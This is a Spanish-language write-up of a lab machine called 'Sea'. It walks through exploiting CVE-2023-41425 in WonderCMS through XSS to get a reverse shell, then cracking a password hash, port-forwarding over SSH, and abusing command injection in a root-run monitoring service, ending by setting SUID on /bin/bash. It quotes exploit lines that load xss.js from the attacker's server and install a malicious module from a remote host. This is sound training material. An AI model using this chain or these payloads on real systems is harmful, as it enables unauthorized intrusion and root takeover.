Sea

Acerca de Sea

Sea es una máquina Linux de dificultad fácil que presenta CVE-2023-41425 en WonderCMS, una vulnerabilidad cross-site scripting (XSS) que puede ser utilizada para subir un módulo malicioso, permitiendo el acceso al sistema. La escalada de privilegios consiste en extraer y crackear una contraseña del archivo de base de datos de WonderCMS, para luego explotar una inyección de comandos en un software de monitorización del sistema hecho a medida, dándonos acceso root.

Matriz de la máquina.

*Características de explotación de la máquina.

*Tiene una sola actualización hasta la fecha.

Comienzo enumerando los puertos, servicios y versiones.

rustscan -a 10.10.11.28 -- -sCV -oN scan.txt

1) Superior a la version 6.9 que permite enumerar usuarios. apartir de la version 7.0 se implemento la opcion UsePAM, que permite utilizar el ‘Pluggable Authentication Module (PAM)’ para manejar la autenticación.

2) El servidor web es Apache versión 2.4.41

3) Menciona un titulo Sea – Home, pero no menciona un nombre de dominio asique por el momento no tiene.

4) Detecta el tipo de cookie PHPSESSID pero sin flag httponly, lo que podría permitir ataques XSS si el sitio es vulnerable.

5) Los metodos que podriamos utilizar por medio de curl, burpsuite y automatizar por medio de bash y python.

echo "10.129.76.146 sea.htb" | sudo tee -a /etc/hosts

Verifico servicios web que estén corriendo.

whatweb sea.htb 

Enumero directorios y archivos, tanto presentes como ocultos en la web.

feroxbuster -u http://sea.htb/ -w /usr/share/dirbuster/directory-list-2.3-medium.txt -t 50 -s 200 

Verifico la versión del tema

El hecho de que la aplicación acepte y procese esta entrada puede ser un indicativo de que hay una falta de validación en cómo se manejan las rutas y los parámetros.

La vulnerabilidad que permite la ejecución remota de código (RCE) en WonderCMS se basa en una combinación de vulnerabilidades de Cross-Site Scripting (XSS) y la falta de validaciones adecuadas en la instalación de módulos o temas desde URLs externas.

La función installUpdateThemePluginAction()comienza verificando si se han recibido las entradas necesarias (installThemePlugin y type).

Aunque hay una verificación para asegurarse de que la URL sea de GitHub o GitLab, no se valida el contenido que se descarga. Esto permite que un atacante proporcione una URL que apunte a un archivo ZIP malicioso.

La función utiliza curl para descargar un archivo ZIP desde la URL proporcionada y luego lo extrae sin verificar su contenido. Esto es crítico, ya que un atacante puede cargar un ZIP que contenga una revshell o cualquier otro código malicioso.

Después de extraer el ZIP, el código intenta renombrar la carpeta extraída. Si el ZIP contiene un archivo PHP malicioso, este se ejecutará en el contexto del servidor.

Usamos este exploit CVE-2023-41425 para obtener una revshell del servidor.

https://github.com/insomnia-jacob/CVE-2023-41425/blob/main/exploit.py

var urlRev = urlWithoutLogBase + "/?installModule={ remote_host }&directoryName=violet&type=themes&token=" + token;

Construye una URL que permite al atacante solicitar la instalación de un módulo malicioso en el servidor de WonderCMS. Esta URL se compone de la base del sitio web, seguida de parámetros que indican el módulo a instalar, el nombre del directorio y el token de autenticación del usuario. Al enviar esta solicitud, puedo cargar un revshell.

link = str(args.url).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(args.ip)+":8000/xss.js\"></script><form+action=\""

Esta línea construye un enlace que se envía al administrador de WonderCMS. Cuando el administrador hace clic en este enlace, se inyecta un script que carga el archivo xss.js desde mi servidor en python obteniendo la revshell.

La aplicación parece tener un valor por defecto para la URL de inicio de sesión, que es loginURL. Esto significa que, a menos que se cambie en la configuración, el enlace de inicio de sesión siempre apuntará a loginURL.

http://sea.htb/loginURL

http://sea.htb/index.php?page=loginURL

Ejecuto el exploit, brindándome el payload

Uso el payload en el formulario de contact.php

Podemos comprobar que efectivamente funciono logrando que el servidor venga a buscar a mi local el archivo malicioso xss.js y que luego manda a buscar el archivo main.zip con la revshell

Obtengo terminal, la estabilizo

Me fijo el usuario actual, grupos que pertenece, usuarios conectados al sistema e información del sistema y liste directorios presentes y ocultos.

Evidencia de la revshell.

Idéntico archivos que podrían ser relevantes.

Servicios que están corriendo en el servidor.

Encuentro credenciales en formato hash

Identifico el tipo de hash.

Logré crackear el hash y obtuve la contraseña

Verifico usuarios en el /etc/passwd

Obtengo terminal con el usuario de amay.

Gano flag user

Como identifique anteriormente el servicio en el puerto 51577 me lo paso a local para identificar el servicio.

ssh -L 8081:localhost:8080 amay@sea.htb (uso 8081 en mi local porque en el 8080 está corriendo burpsuite)

ssh -L 51577:localhost:51577 amay@sea.htb

Logro obtener RCE ejecutando un echo test revelándome en él response

El servicio está corriendo con privilegios de root

Gano flag root.

Busco todos los archivos en el sistema que tienen el bit setuid (SUID) activado

Observo el /etc/shadow y activo el bit setuid (SUID) de /bin/bash.

Verifico que este habilitado

Obtengo privilegios de root por medio de /usr/bin/bash

Obtengo privilegios de root por medio de /bin/bash

Están enlazados por medio de un enlace duro, asiqué habilitar el

suid de uno por inercia habilita al otro, porque representan a un solo archivo

quantumtandorisa Avatar

Posted by